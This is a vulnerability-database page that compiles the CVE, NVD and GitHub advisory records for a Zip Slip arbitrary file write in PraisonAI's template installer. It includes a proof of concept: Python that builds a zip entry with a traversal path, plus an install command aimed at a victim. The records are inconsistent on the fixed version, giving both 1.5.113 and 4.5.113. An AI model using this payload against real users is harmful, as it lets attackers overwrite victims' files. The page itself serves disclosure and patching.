Vulnerability-Lookup

CVE-2026-39307 (GCVE-0-2026-39307)

Vulnerability from cvelistv5 – Published: 2026-04-07 16:49 – Updated: 2026-04-09 15:40

Title

PraisonAI has an Arbitrary File Write (Zip Slip) in Templates Extraction

Summary

PraisonAI is a multi-agent teams system. Prior to 1.5.113, The PraisonAI templates installation feature is vulnerable to a "Zip Slip" Arbitrary File Write attack. When downloading and extracting template archives from external sources (e.g., GitHub), the application uses Python's zipfile.extractall() without verifying if the files within the archive resolve outside of the intended extraction directory. This vulnerability is fixed in 1.5.113.

Severity ?

8.1 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M

References

URL

Tags

https://github.com/MervinPraison/PraisonAI/securi…

x_refsource_CONFIRM

Impacted products

	Vendor	Product	Version
	MervinPraison	PraisonAI	Affected: < 4.5.113

Show details on NVD website

JSON

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FKIE_CVE-2026-39307

Vulnerability from fkie_nvd - Published: 2026-04-07 17:16 - Updated: 2026-04-08 21:27

Severity ?

8.1 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4ph2-f6pf-79wv

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "PraisonAI is a multi-agent teams system. Prior to 1.5.113, The PraisonAI templates installation feature is vulnerable to a \"Zip Slip\" Arbitrary File Write attack. When downloading and extracting template archives from external sources (e.g., GitHub), the application uses Python\u0027s zipfile.extractall() without verifying if the files within the archive resolve outside of the intended extraction directory. This vulnerability is fixed in 1.5.113."
    }
  ],
  "id": "CVE-2026-39307",
  "lastModified": "2026-04-08T21:27:00.663",
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          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H",
          "version": "3.1"
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        "impactScore": 5.2,
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        "type": "Secondary"
      }
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  },
  "published": "2026-04-07T17:16:36.613",
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      "source": "security-advisories@github.com",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4ph2-f6pf-79wv"
    }
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  "vulnStatus": "Awaiting Analysis",
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    {
      "description": [
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          "lang": "en",
          "value": "CWE-22"
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}

GHSA-4PH2-F6PF-79WV

Vulnerability from github – Published: 2026-04-06 23:08 – Updated: 2026-04-07 22:09

Summary

PraisonAI Has Arbitrary File Write (Zip Slip) in Templates Extraction

Details

The PraisonAI templates installation feature is vulnerable to a "Zip Slip" Arbitrary File Write attack. When downloading and extracting template archives from external sources (e.g., GitHub), the application uses Python's zipfile.extractall() without verifying if the files within the archive resolve outside of the intended extraction directory.

Details

Location: src/praisonai/praisonai/cli/features/templates.py (Line 852)

Vulnerable Code snippet:

zip_ref.extractall(tmpdir)

During installation, the CLI downloads a ZIP archive and extracts it directly into a temporary directory using zip_ref.extractall(tmpdir). A specially crafted ZIP archive can contain file entries with relative paths (such as ../../../../tmp/evil.sh). If extracting this archive in older Python versions or environments where extraction rules aren't strict, extractall will write these files outside the target directory, allowing an attacker to overwrite arbitrary files on the victim's filesystem.

PoC

Generate a malicious zip payload:

import zipfile

with zipfile.ZipFile('malicious_template.zip', 'w') as z:
    # Adding a file that traverses directories
    z.writestr('../../../../../../../tmp/zip_slip_pwned.txt', 'pwned by zip slip')

Trick a user into installing the malicious template:

praisonai templates install github:attacker/malicious_template

Observe the zip_slip_pwned.txt file created in /tmp/ on the victim's machine.

Impact

This is an Arbitrary File Write vulnerability affecting any user who installs community templates. It can be leveraged to overwrite system files, user dotfiles, or application code, ultimately leading to system corruption or full Remote Code Execution (RCE).

Severity ?

8.1 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.5.112"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "PraisonAI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.113"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39307"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-23"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-06T23:08:55Z",
    "nvd_published_at": "2026-04-07T17:16:36Z",
    "severity": "HIGH"
  },
  "details": "The PraisonAI templates installation feature is vulnerable to a \"Zip Slip\" Arbitrary File Write attack. When downloading and extracting template archives from external sources (e.g., GitHub), the application uses Python\u0027s `zipfile.extractall()` without verifying if the files within the archive resolve outside of the intended extraction directory. \n\n### Details\nLocation: `src/praisonai/praisonai/cli/features/templates.py` (Line 852)\n\nVulnerable Code snippet:\n```python\nzip_ref.extractall(tmpdir)\n```\n\nDuring installation, the CLI downloads a ZIP archive and extracts it directly into a temporary directory using `zip_ref.extractall(tmpdir)`. A specially crafted ZIP archive can contain file entries with relative paths (such as `../../../../tmp/evil.sh`). If extracting this archive in older Python versions or environments where extraction rules aren\u0027t strict, `extractall` will write these files outside the target directory, allowing an attacker to overwrite arbitrary files on the victim\u0027s filesystem.\n\n### PoC\n1. Generate a malicious zip payload:\n```python\nimport zipfile\n\nwith zipfile.ZipFile(\u0027malicious_template.zip\u0027, \u0027w\u0027) as z:\n    # Adding a file that traverses directories\n    z.writestr(\u0027../../../../../../../tmp/zip_slip_pwned.txt\u0027, \u0027pwned by zip slip\u0027)\n```\n2. Trick a user into installing the malicious template:\n```bash\npraisonai templates install github:attacker/malicious_template\n```\n3. Observe the `zip_slip_pwned.txt` file created in `/tmp/` on the victim\u0027s machine.\n\n### Impact\nThis is an Arbitrary File Write vulnerability affecting any user who installs community templates. It can be leveraged to overwrite system files, user dotfiles, or application code, ultimately leading to system corruption or full Remote Code Execution (RCE).",
  "id": "GHSA-4ph2-f6pf-79wv",
  "modified": "2026-04-07T22:09:54Z",
  "published": "2026-04-06T23:08:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4ph2-f6pf-79wv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39307"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.113"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI Has Arbitrary File Write (Zip Slip) in Templates Extraction"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-39307 (GCVE-0-2026-39307)

FKIE_CVE-2026-39307

GHSA-4PH2-F6PF-79WV

Details

PoC

Impact

Tags

Sightings

Nomenclature